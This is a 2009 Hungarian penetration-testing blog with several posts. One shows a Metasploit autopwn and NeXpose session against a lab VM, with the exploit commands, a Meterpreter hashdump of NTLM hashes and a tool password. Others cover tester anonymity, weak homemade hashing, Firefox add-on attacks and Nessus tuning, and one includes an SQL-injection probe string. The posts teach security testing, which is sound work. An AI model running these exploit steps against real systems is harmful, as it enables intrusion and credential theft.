2009. december 17., csütörtök

A "Big Red Hacking Button" bölcsessége és butasága

Pusztán termelékenységi-hatékonysági oldalról nézve, pentest során a legjobb az lenne, ha kapnánk egy hatalmas piros "HACK" feliratú gombot, amire ráütünk, elmegyünk kávézni és mire visszajövünk, ott vár három-négy shell és a report vezetői összefoglalóval. Nos, úgy tűnik, hogy a 3.3.2-es Metasploit Framework megadja mindezt - annyi különbséggel, hogy itt a piros gomb helyett be kell írni, hogy "db_autopwn -e -x".

Valahogy így:
root@jester:/usr/share/metasploit/trunk# ./msfconsole

____________
<>
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *


=[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 469 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7849 updated 3 days ago (2009.12.14)

msf > db_
db_connect db_create db_destroy db_disconnect db_driver
msf > db_connect
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose

▄▄▄ ▄▄ ▄▄▄ ▄▄▄
███ ██ ██ ▄██
██▀█ ██ ▄████▄ ████ ██▄███▄ ▄████▄ ▄▄█████▄ ▄████▄
██ ██ ██ ██▄▄▄▄██ ██ ██▀ ▀██ ██▀ ▀██ ██▄▄▄▄ ▀ ██▄▄▄▄██
██ █▄██ ██▀▀▀▀▀▀ ████ ██ ██ ██ ██ ▀▀▀▀██▄ ██▀▀▀▀▀▀
██ ███ ▀██▄▄▄▄█ ██ ██ ███▄▄██▀ ▀██▄▄██▀ █▄▄▄▄▄██ ▀██▄▄▄▄█
▀▀ ▀▀▀ ▀▀▀▀▀ ▀▀▀ ▀▀▀ ██ ▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀ ▀▀▀▀▀
██

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect nxadmin:CsodalatosJ3lsz0@localhost
[*] Connecting to NeXpose instance at localhost:3780 with username nxadmin...
msf > nexpose_connnexpose_scan -x 172.16.75.130
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 4 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 172.16.75.130:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] 172.16.75.130:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] Meterpreter session 1 opened (172.16.75.1:38587 -> 172.16.75.130:1031)
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution...
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

Id Description Tunnel Via
-- ----------- ------ ---
1 Meterpreter 172.16.75.1:38587 -> 172.16.75.130:1031 windows/smb/ms08_067_netapi

[*] ================================================================================

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
bela:1003:c8fbb48411c924a1aad3b435b51404ee:12890636511bacb8784772c8cdd155f7:::
Rendszergazda:500:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
Seg�ts�gny�jt�:1000:36d13542982fd52354b1aeeda39288ad:226a4f6f37969ab489c58939f9bc5f0e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9dbd606208432919c6c49111732cabe3:::
Vend�g:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

(Szemfüles olvasóinkat megerősítjük abban, hogy a tesztelt gép adminjelszava valóban rövidebb hét karakternél, és a gépidő töréssel való fogyasztásának megelőzésére azt is hozzátesszük, hogy a "bela" felhasználó jelszava "bela".)

Nos, igen. Mindehhez kellemes négy-öt kattintással összeállítható a report is, és elvileg készen vagyunk - vagy mégsem?

Az autopwn és a metasploit csodálatosan hatékony eszközök, és biztosan számtalan helyen fogjuk viszontlátni a fenti kombinációt komplett penetration test megoldásként eladva. A helyzet azonban az, hogy ez így nagyon látványos, de ha valaki kizárólag ezzel a módszerrel végez pentestet, akkor úgy viselkedik, mint az az asztalos, akinek egy darab kalapácsa van és meglepve tapasztalja, hogy csupa szög jön szembe, tehát kalapáccsal mindent meg lehet oldani.

A fenti példafuttatása a vmnet8 nevű hálózati interfészen történt - valós környezetben, ügyfélnél inkább nem használjuk. Miért?
  • Csak a jéghegy csúcsát mutatja meg. Valóban, lehet frissíteni a metasploitot is, a nexpose-t is, a Nessust is, azonban önmagukban ezek az eszközök a sebezhetőségek (tesztelői szempontból lehetőségek) egy részét képesek csak megmutatni. A tapasztalat az, hogy a közvetlenül kihasználható, CVE-számmal címkézett, frissítések elmulasztásából fakadó sebezhetőségek mellett - ezek felderítésében jeleskednek automatizált eszközeink - számtalan egyéb vektor is támadható, amelyek legalább olyan veszélyesek. Például megpróbálhatunk on-line módon jelszavakat próbálgatni, esetleg ha már webszerveren futó alkalmazást is találtunk, akkor abban vizsgálni, hogy mindenre gondoltak-e a fejlesztők. A munkát nem lehet sajnos megúszni így sem.
  • Iszonyatosan (NAGYON) zajos. A fenti, nagyon egyszerű teszt során sikerült nagyságrendileg 10 MB-ot forgalmazni a hálózaton, és ezt a pcap mentés alapján nem igazán udvariasan tette teszteszközünk. Sokkal hatékonyabb és jobb megoldás, ha a lépésről lépésre építjük fel a támadást - először kiderítjük, kik vannak a hálózatunkon, majd megállapítjuk a nyitott portjaikat és a rajtuk futó szolgáltatásokat, majd ezen információk birtokában hálózatra szabjuk az automatizált eszközünket (!), és úgy végezzük el a scant.
  • Nem igazán jók a portscannelési funkciók. A portscannelést csomagdump alapján SYN-stealth módszerrel tette meg a nexpose, és sajnos a tapasztalatok szerint nem igazán működik jól, ha tarpitting vagy egyéb portscanning elleni védelem van érvényben. Másrészt az nmap jóval hatékonyabb tud lenni, ha futtatás előtt kimérjük az időzítéseket, a csomagvesztéseket és egyéb statisztikai információkat a hálózattal kapcsolatosan.
A nexpose+metasploit páros nagyon hatékony- demózási célokra, éles tesztek során inkább maradunk a két lépcsővel kézibb tesztelésnél.

2009. december 2., szerda

Cookie-k vs. anonimitás

Egy tesztelős munka kapcsán felmerült igényként, hogy amit csinálunk, azt csináljuk nagyon szépen: lehetőleg semmilyen módon ne lehessen tudni, hogy amit tesztelünk (konkrétan egy webapp), azt honnét teszteljük. Nyilvánvalóan nem lehet bizonyos információkat kiküszöbölni az egyenletből, például az ügyfél webszerverén a beérkező HTTP-kéréseket mindenképpen naplózni fogják - egy gömbölyű világban, persze.

A munka meglehetősen kézenfekvő módon indult: ToR-on keresztül ingyenes e-mail fiók regisztrálása a freemail-en, majd elkezdtük nézegetni a célpontot. Nézelődés közben a webscarab minden HTTP-kérést naplózott a tesztelő gépen, és némileg meglepő felfedezésre jutottunk (nyilván nem meglepő a szó hagyományos értelmében, ugyanis tulajdonképpen teljesen logikus): a cookie-k és a proxyeszközök nem kellőképp elővigyázatos alkalmazása megöli az anonimitást. Miért?

Tegyük fel, hogy néha csalunk tesztelés közben, rá-ránézünk az indexre és a secfocusra, ilyenkor pedig nincs kedvünk kivárni, hogy a ToR-on keresztül töltődjön minden. Ilyenkor átkapcsoljuk foxyproxyval a firefoxot az alap kapcsolat használatára - és itt romlik el minden. Ugyanis az, hogy böngészőnk ablakában ott nyugszik a vizsgált alkalmazás, nem jelenti azt, hogy nem is fog forgalmazni feléje: sok modern webapp esetén automatizáltan lekérdez ezt-azt a böngészőnk, míg a mappelőszkript fut egy másik terminálon. A "mellékes" forgalmazás közben pedig az addigi sessionben fogunk forgalmazni, azaz megsüthetjük az anonimitásunkat. Nyilván triviális a megoldás - tessék másik böngészőt használni. Nem másik böngészőablakot nyitni, hanem totálisan másik böngészőt, pl. Firefox helyettt Operát linuxon. Vagy linkset.

A cookie-k ott jönnek igazán képbe, amikor csak a tesztelés szaftosabb részeiben használunk ToR-t: lassú a dolog, emiatt a mappelést és az inputok azonosítását a normál kapcsolaton keresztül végezzük, csak a ' or 1=1 or '-jellegű szúrkálás során alkalmazunk ToR-t. Ez akkor veszélyes, ha a cookie-kat nem töröljük váltáskor, ugyanis a böngészőnk ugyanúgy el fogja küldeni a cookie-t, hiszen ugyanabban a domainbe küld HTTP-kérést, akár ToR-on keresztül teszi ezt, akár nem. Ezzel viszont kapcsolat teremthető ToR és a "mezei" kapcsolat között - azaz bukik az anonimitás.

Harmadrészt ki az, aki mindent tud rólunk? Igen, a Google. A safebrowsing (most már phishing filternek hívják) funkció használata során az új domainekbe irányuló kérések kiadása előtt a böngészőnk ellenőrzi, hogy az adott domainen orosz üzletemberek üzemeltetnek-e adathalász oldalt, és ha igen, nagyon nehezen engedi oda a felhasználót. A safebrowsing funkció tehát tájékoztatja a google-t arról, hogy milyen URL-eket nézegetünk meg - persze csak akkor köthető konkrét személyhez, ha a standard google tracking cookie-k engedélyezve vannak (azaz pl. be vagyunk lépve a google-birodalomba, vagy egyszerűen csak nincsenek letiltva a cookie-k en bloc). A kép akkor lesz teljes, ha végiggondoljuk, hogy a cookie információk (és a safebrowsing) ugyanazon a csatornán megy keresztül, mint a "normál" adatforgalom - emiatt a google-nél pontos nyilvántartást lehet vezetni arról, hogy milyen domaineket látogatunk meg és az is, hogy milyen IP-ről. Sőt: a google analytics-es tracking javascript, amit számtalan oldal kódjába előzékenyen beszúrnak az oldalak üzemeltetői, pontosan ugyanezt tudja megtenni.

2009. november 26., csütörtök

"Saját fejlesztésű, md5-szintű kriptofüggvény"

Nemrég került a kezem ügyébe véleményezendő anyagként egy webes rendszer architekturális terve. Egészen meglepő volt, hogy a rendszer biztonsági funkcióinak felsorolásakor egyetlen érdemi, ám annál érdekesebb elem szerepelt a listában, ez pedig a "feltörhetetlen, titkosított formában történő jelszótárolás saját fejlesztésű, md5-tel egyenértékű kriptoeszközzel".

Némi utánakérdezés után kiderült, hogy ez gyakorlatilag annyit jelent, hogy a jelszavakat nem plain-textben tárolja a rendszer, hanem tárolás előtt hasheli egy "saját, md5-tel megegyező kriptográfiai erősségű algoritmus" használatával. Komoly diskurzus következett a fejlesztőkkel, ugyanis kimondottan nehezen fogadták el, hogy ebben a formában ezen biztonsági funkciók kétszer aláhúzott nullát érnek. Miért?
  • A rendszer mögött dolgozó adatbázisban valamilyen módon ledarált formában ülnek a jelszavak - ez elvileg az utolsó védelmi vonal kellene, hogy legyen a biztonsági funkciók sorában. Ha a támadó hozzáfér az adatbázishoz, akkor már úgyis mindegy minden (vagy ha még nem az, pár SQL query után már az lesz), maximum a "damage control" valósítható meg a hashelt jelszavakkal.
  • "A támadó úgyse tudja, hogy milyen saját algoritmussal hasheltük a jelszavakat, tehát ha a hashekhez hozzáfér, akkor sem tud mihez kezdeni velük". Népszerű tévhit, hogy a security through obscurity működő modell lehet elszánt támadó ellen is: tesztelő kollégáink sok-sok rémtörténetet tudnának mesélni arról a döbbenetes adag naivitásról, amivel felvértezve írják meg a fejlesztők saját kriptokönyvtáraikat. Alapvetően ott hibás az elképzelés, hogy a fejlesztők abból indulnak ki, hogy a támadónak kizárólag a hashek állnak rendelkezésére, nulla információja van a rendszerről, ahonnét jöttek - ebben az esetben még akár igaz is lehet a "security through obscurity", viszont valódi támadó esetén mire a hashek megvannak, a támadó mindent tud a rendszerről, beleértve a hash algoritmust is. Ha nem tudja, akkor pedig addig keres, amíg meg nem találja egy másik sebezhetőségen keresztül. Ha pedig a támadó már hozzáfér az adatbázishoz és a hashekhez, és mondjuk a kódot is kedvére böngészheti, amit lefuttat a bejelentkezőszkript az ellenőrzés során, nagyrészt gyerekjáték a "hash" feltörése. (Én például már láttam működő rendszeren olyan kétirányú "hashfüggvényt", aminek alapját egy bizonyos Julius nevű alak dolgozta ki még az ókorban). Elvileg kriptoanalízis is végrehajtható a naivan implementált kriptoeszközök kimenetein, azonban a tapasztalatok szerint mindig van egyéb mód is (például emlékezzünk a Hacktivity drupáltörős bónuszjátékának célpontjára, amelyben az adminjelszó md5-hashelve nem törődött meg, viszont a jelszóemlékeztető kihasználásával megkerülhető volt a törés a GIJohnnal. )
  • Ha a bejelentkezés során kliensoldalon történik a hashelés, gyakorlatilag olyan, mintha ott se lenne a hash: a támadó lefigyeli az adatfolyamot, és a hash-t hamisítja be saját kérései kiadásakor, mindehhez még "jelszótörni" sem kell.
  • A HTTP plaintext. Ha nincs hálózati szintet titkosítva az adatforgalom, akkor megint csak lehet temetni a hash-elt jelszavakat az adatbázisban.

2009. november 24., kedd

A firefox jó és biztonságos... vagy mégsem?

A 17. DefCon kimondottan gyümölcsöző olyan tekintetben, hogy számos létező és bevált technológia hátulütőire hívják fel a figyelmet az előadók, néha határozottan meglepő demókkal. A sorból a Firefox add-onokkal kapcsolatos előadásra hívnánk fel a figyelmet.

A Firefox zseniális kezdeményezés, és sok esetben kimondottan üdítő a használata a felhasználói élményt tekintve, azonban az add-onok rendszere biztonságilag meglehetősen gyenge lábakon áll. Miért?
  • Az add-onok gyakorlatilag mindenféle biztonsági kontroll nélkül futnak a böngészőnkben, emiatt ártó szándékú add-onok telepítésével gyakorlatilag ugyanoda jutottunk, mint amikor az Explorert annak idején hanyagoltuk a Firefox javára a szita biztonságú ActiveX technológia miatt.
  • Maguk az add-onok többféle technológiát is használhatnak: a legegyszerűbb a szkriptelős fejlesztés, azonban lehetőség van bináris add-onok elkészítésére is. Gyakorlatilag nincs visszajelzés a felhasználónak arról, hogy a böngészőjében futó add-on mit is csinál, milyen http-kéréseket ad ki - írható olyan add-on, ami pl. elszkripteli a /etc/passwd tartalmát valami gyanús weboldalra. (Megjegyezzük, hogy a kioszkmatatós céleszköz iKat szintén ad egy firefox add-ont, amellyel a linuxos kioszkokon parancssort kaphatunk.)
  • Az add-onok meglehetősen egyszerűen tudják módosítani egymás kódjait, beállításait javascriptből. Az előadáson mutatnak egy példát arra, hogy a NoScript whitelistjéhez egy rosszindulatú add-on könnyen hozzá tud adni tetszőleges domaint, vagy akár az elmentett jelszavak is könnyen ellophatók (ugye senki sem menti el a Firefoxba a jelszavait?!)
  • Az add-onok kódok, amik futnak valahol, emiatt a bennük rejtőző programozási hibák adott esetben kihasználhatóak. Példaként hozható itt pl. a NoScript plugin, amellyel ha a chrome:// domainbe tartozó szkriptet hívunk meg, a domain whitelistelése miatt akadálytalanul lefut. Az előadáson a skype telepítésekor automatikusan érkező add-ont is kiemelték, amellyel némi trükközéssel a felhasználót tetszőleges telefonszám skype-on keresztüli felhívására is rá lehet venni. Másrészt ha arra gondolunk, hogy a Javascriptből lehet binárisokat letölteni, és akár el is indítani őket, néhány lépésből VNC shellre váltható egy egyszerű, almighty chrome-domainbe szkriptelő XSS is - nos, nem szükséges ecsetelni a problémát (az előadáson a LightScribe-on keresztül támadott XSS-sel pontosan ezt a nagyon látványos demót mutatták meg).
  • Az add-onok engedélyezési procedúrája során nincs kódminőségi ellenőrzés. Igaz, mielőtt bekerülne a fejlesztésünk az add-onok közé a mozilla honlapján, történik validálás, azonban ez csak akkor történik meg, amikor bekerül a kódunk az adatbázisba - ha frissítünk rajta, akkor már nem. Emiatt akár az egész kódot is újra lehet írni, illetve ki lehet egészíteni mindenféle ártó részekkel - legfeljebb a szemfüles közösség visszajelzései alapján lehet gyanítani, hogy valami történt, aminek nem kellett volna.
A Firefox jó és biztonságos... vagy mégsem?

2009. november 19., csütörtök

Metaadatok

Metaadatokról már sok alkalommal esett szó a secblogban. Az idei 17. DefConon két spanyol kolléga tartott előadást a már-már lerágott csontnak hitt témáról, és készítettek egy FOCA nevű metaadat-kigereblyéző eszközt is, amivel nagyon látványos demókat lehet tartani az adatszivárgásról - akár biztonságtudatossági képzésben is haszonnal használható.

Az eszköz a google (bing) kereséseit használva összeállít egy listát az adott domainen belül található pdf, doc, xls stb. dokumentumokról, amelyeket letöltés után átnéz és a bennük található metainformációk alapján összeállítja a vizsgált célpont informatikai infrastruktúrájának sematikus rajzát. Nyolc kattintásból.

Az egyik legkomolyabb előnye a módszernek az, hogy nagyrészt nem invazív, tehát az amúgy is publikussá tett dokumentumokat töltjük le és elemezzük kicsit másként és ezáltal nem bonyolítunk "rossz szándékú" forgalmat a célpont hálózata felé.

Érdemes kipróbálni az eszközt.

Az előadás
Letöltés

2009. november 16., hétfő

A Nessusról, középhaladóknak

A Nessus csodálatos eszköz. Az automatizált sebezhetőségi ellenőrző eszközök arzenáljában de facto szabvánnyá vált az egykori teljesen ingyenes szoftver: a 3-as Nessus már nem nyílt forráskódú, viszont az eszköz sava-borsát jelentő pluginek otthoni használatra ingyenesen frissíthetőek, licencdíj csak az üzleti felhasználókra van - azaz ránk.

A Nessus alapfunkcionalitásában nagyon hasonlít az nmap-ra olyan szempontból, hogy ugyanúgy nyitott portokat képes azonosítani, azonban a tudásbázisban található pluginek segítségével a szolgáltatások fingerprintjén túl képes arra, hogy ismert sebezhetőségekre utaló szignatúrákra vadásszon a szolgáltatásokban - és még egyéb varázslatokra is képes.

Mielőtt kicsit bővebben beszélnénk a Nessus képességeiről, tisztázzunk elöljáróban egy nagyon fontos alapvetést: a Nessusszal való automatizált point-and-click tesztelés önmagában nem tekinhtető betörési tesztnek. Sok esetben találkoztunk már azzal, hogy az ügyfélnek sok pénzért eladott "betörési teszt" átadott jegyzőkönyve gyakorlatilag szó szerinti fordítása volt a Nessus által generált sebezhetőségi jelentésnek - a sebezhetőségek igazolása, vagy kézi vizsgálatok nélkül. A Nessus (nem csak a Nessusra, hanem a Core Impactre, a Retinára, a Satanra, az összes ingyenes vagy fizetős automatizált szkennelőeszközre is igaz ez) nélkülözhetetlen a tesztelő számára, viszont önmagában értéktelen a használatuk: a kívánt eredményt csak úgy érheti el a teszt, ha a tesztelők igenis nekiülnek, és manuális módszerekkel is vizsgálják a célpontot.

Mire figyeljünk a Nessus használata során?
  1. Papírmunka. Lehetőleg legyen írásos hozzájárulásunk a megbízótól, amely hozzájárulásban a megbízó elismeri, hogy a tesztelés során a leggondosabb tervezés és legóvatosabb végrehajtás mellett is felléphetnek váratlan mellékhatásként nem kívánt események (a "nem kívánt események" mértékegysége egyrészt az idő, amíg az üzemeltetők talpra állíták a meghasalt infrastruktúrát, illetve byte, ami az elveszett adatokat méri). Jelen írásnak nem célja, hogy végigmenjünk az összes pluginen, az összes lehetőségen: kiemelünk néhány gyakori időzített bombát, amely beállítások helyes használatával jelentősen csökkenthető a "nem kívánt események" valószínűsége.
  2. Észre nem vett sebezhetőség vs. DoS. Valahányszor Nessusszal szkennelünk, döntést kell hoznunk: minél alaposabb a vizsgálat, annál pontosabb képet kapunk, viszont annál tovább tart, annál nagyobb hálózati forgalmat generál és annál nagyobb valószínűséggel okozunk kárt. A valószínűség nyilvánvalóan minimalizálható megfelelő vizsgálati beállításokkal, azonban soha nem nulla a károkozás valószínűsége.
  3. Egy scan nem scan. Valahányszor mérünk, egy mérés nem mérés- ugyanez igaz az automatizált sebezhetőségi vizsgálatokra is. A Nessusszal végzett vizsgálatokat minden esetben meg kell ismételni, valamilyen más hasonló eszközzel (az OpenVAS jó választás lehet, ha a költségkeret szűkös).
  4. A Nessus nem csodafegyver. Népszerű tévhit, hogy a Nessus mindent tud, azonban ez korántsincs így. Számos olyan részfeladat van, amelyre bár van plugin a Nessusban, sokkal inkább kifizetődő egy kimondottan az adott részfeladatot megvalósító céleszköz használata. Ilyen például a directory enumeration - a Nessusban van egy minimális szólista, amelyet végignéz, azonban sokkal inkább megfelel a célnak pl. a Wikto, vagy az OWASP DirBustere. Ugyanígy, ha kizárólag annyi a scan célja, hogy SNMP-t támogató eszközökről készítsünk listát, fölösleges beüzemelni a Nessust: jelen sorok írója egy 8 soros bash szkripttel és az snmpcheck-1.6.pl névre hallgató (BackTrack3-ban megtalálható) eszközzel oldotta meg a problémát.
  5. Célra tartás. Amikor megtervezzük a scant, tudatosan kell végiggondolni a vizsgálandó infrastruktúra sajátosságait. A Nessus portscannere például nem rossz, de a mezei nmap jobban testre szabható és egyszerűbben indítható - e sorok írója például a Nessus indítása előtt nmap-ot használ a célpont felderítésére.
    Az nmap nagyon szószátyár módjában számtalan információt kapunk, amely segít a Nessus megfelelő beállításainak eltalálásában. Például nagy hálózat vizsgálatakor nagyon hasznos az, ha pl. hping3-mal megmérjük, hogy átlagosan mekkora a csomagvesztés a célpont felé a hálózaton és mekkora az rtt. Ennek ismeretében az nmap-ban megszabjuk, hogy hányszor küldje újra a csomagokat, illetve mekkora legyen a timeout - ezzel nagyon (NAGYON) sokat javíthatunk a sebességen.
    Az nmap megmondja, hogy mely portok vannak nyitva - a Nessusos port scant ezekre a portokra korlátozva, a hoszt (nem) működésének megállapítását kikapcsolva nagyon sokat javíthatunk a vizsgálatok teljesítményén.
  6. "Veszélyes" beállítások. A megfelelő beállítások a Nessus Policy menüjének testreszabását jelentik - a Nessus készítői jelentős egyszerűsítést csempésztek bele az eszközbe a "Safe Checks" pipa használatával: ha ezt bekattintjuk, jelentősen megnöveljük saját esélyeinket a zökkenőmentes vizsgálatok szempontjából.
    Ez sem igaz teljesen: a Tenable összeállított a tapasztalatok alapján egy listát azokról az eszközökről, amelyek rosszul viselik a Nessus vizsgálódásait. Valahányszor a fingerprinting fázis során ilyen szolgáltatás, eszköz kerül horogra, a Nessus abbahagyja az irányában történő vizsgálódást a veszélyesnek ítélt pluginekkel. Másrészről, ez elég sok fals pozitív eredményt hozhat, ugyanis sok gyártó nem frissíti konzekvensen a szoftvereinek verziószámát a javítások ellenére sem, emiatt kizárólag a verziószámok alapján sokszor nem lehet egyértelműen megmondani a vizsgált szolgáltatás valódi verzióját.
  7. "Consider Unscanned Ports as Closed": a Nessus, ha ez nincs beklattyintva, először megcsinálja a port scant, majd a kiválasztott plugineket szépen sorjában nekiküldi a célpontnak - akár vizsgálva volt az adott plugin által vizsgált port a szkópban és nyitott állapotúnak találtatott, akár nem is volt scannelve. Szükségtelen mondanunk, hogy ez mennyire zajos, és mennyire váratlan eseményekhez vezethet: a legtöbb esetben érdemes bekattintani - kivéve, ha pontosan a fenti viselkedés a célunk.
  8. LaBrea-hosztok. Sok IPS/tűzfal azzal nehezíti meg a tesztelő dolgát, hogy fokozatosan lassítva válaszol a kérésekre, ezáltal egy idő után eléri a TCP-s timeoutot (megjegyezzük, hogy spamszűrésként is ismert "tarpitting" néven a technika SMTP-szervereken) . Érdemes kikapcsolva tartani első közelítésben - ha érzékeli a Nessus, hogy egyre növekvő válaszidővel érkeznek csomagok a célponttól, honeypotként címkézi a végpontot és felhagy a tesztelésével. Ha pontos képünk van a célpontról, nem lehet szükség a használatára.
  9. Párhuzamosság. A Nessus policyjában van három érték, amellyel nagyon óvatosan kell bánni: ezek a "Number of hosts in parallel", a "Number of checks in parallel", illetve a "Port Scanner Range" névre hallgató mezők. A scan indítása előtt fontos tisztázni, hogy milyen kapacitású eszközök működnek a célponton - előfordulhat, hogy a sok egyidejű kérést rosszul viselő eszközök vizsgálatakor inkább 40 párhuzamos hosztot vizsgálunk hosztonként 5 párhuzamos kéréssel, mint 10 hosztot 20 párhuzamos kéréssel.
    Ide tartozik még a Network taben található néhány beállítás. A "Reduce number of connections in parallel on congestion" pipa bekattintása után a Nessus, ha érzékeli, hogy a hálózati közeg kapacitásának közelében jár a forgalmazott adatmennyiség, akkor automatikusan visszavesz a tempóból. A TCP-s kapcsolatok párhuzamos számát egy hoszton akkor érdemes visszavenni, ha hálózati eszközt scannelünk (mondjuk switchet), ugyanis a menedzsment IP-címen többnyire telnet/SSH/SNMP/HTTP/HTTPS szolgáltatások futnak, amiket a switch CPU-ból szolgál ki, emiatt nem igazán viseli jól a sok párhuzamos TCP-kapcsolatot.
  10. "Legjobbjaink elhulltanak a hosszú harc alatt". A "Stop scanning hosts turned off during the audit" pipa bekattintása akkor hasznos, ha a vizsgálatok alatt egy-egy hosztot kikapcsoltak, illetve esetleg DoS miatt üzemképtelenné vált. Az ilyen végpontok nyilván nem fognak válaszolni, egy-két ilyen NAGYON lelassítja a scant és szükségtelen hálózati forgalomhoz vezet az újraküldések miatt.
    Novell NetWare szerverek régi verziói hajlamosak elsegfaultolni a fingerprinting fázis során, emiatt a Nessus alapból nem vizsgálja ezeket a hosztokat, illetve a hálózati nyomtatók régi típusai a 9100/TCP-re küldött bármilyen adatot kérdés nélkül kinyomtatják, emiatt az nmap is és a nessus is elkerüli ezeket - az Advanced fülön lehet engedélyezni őket mégis.
  11. Időrabló vizsgálatok. Akárcsak az nmap használata során, itt is érdemes kikapcsolni a reverse DNS feloldást, ugyanis ez hosztonként 12 másodperces timeouttal dolgozik. A reverse DNS bejegyzések vizsgálatát amúgy is mindenképp meg kell tenni, de ehhez inkább használjuk az nmapot és némi linuxos varázslást (nmap -sL -PN 1.2.3.* | awk '/\(/{print $2,$3}'>reverse_dns.txt)
  12. Authentikációs beállítások. Ezek olyasmik, amiket egy black hat nem nagyon használ - ha ismerünk adminisztrációs felhasználóneveket és jelszavakat, a Nessus be tud jelentkezni a távoli hosztra, és pl. a registryben tud keresgélni sebezhetőségek után. Hálózati eszközök esetében az SNMP stringek ismerete szükséges.
    Windowsos hosztok/hálózatok vizsgálatakor a távoli registry elérés csak nagyon advanced felhasználók számára elérhető (tipikusan Domain Adminok), emiatt célszerű létrehozni a teszt idejére egy ideiglenes accountot, amelynek joga van elérni a registryt távolról is. Kiváló whitepaper a kérdésről itt.
  13. Pluginek kiválasztása. A plugineket egyesével lehet engedélyezni/tiltani, viszont fontos észben tartani, hogy a "consider unscanned ports as closed" pipa állapota alapvető jelentőséggel bír arra, hogy ténylegesen melyek futnak le. A DoS kategóriába tartozó pluginek használata során komoly kockázata van annak, hogy ténylegesen megakad valami - hiszen az ide tartozó pluginek ténylegesen triggerelik az adott DoS feltételt a szolgáltatásban, majd igazolják, hogy hanyattdőlt.
A fenti 13 pont nyilvánvalóan nem fedheti le a Nessus teljes képességtárát, az érdeklődők ebből a könyvből teljes, kimerítő leírást kaphatnak.

2009. november 13., péntek

Előadás a BME-n ethical hacking témakörben

Programajánló:

2009. november 20-án 12:15-13:45 között a Budapesti Műszaki és Gazdaságtudományi Egyetemen Unix/Linux rendszerek üzemeltetése című tárgyban Kovács Zsombor Felderítési és service fingerprint technikák témakörben tart előadást. Az előadás az I épületben, az IE215-ös teremben lesz.


Belépő nincs, sok szeretettel várunk minden érdeklődőt.


View Larger Map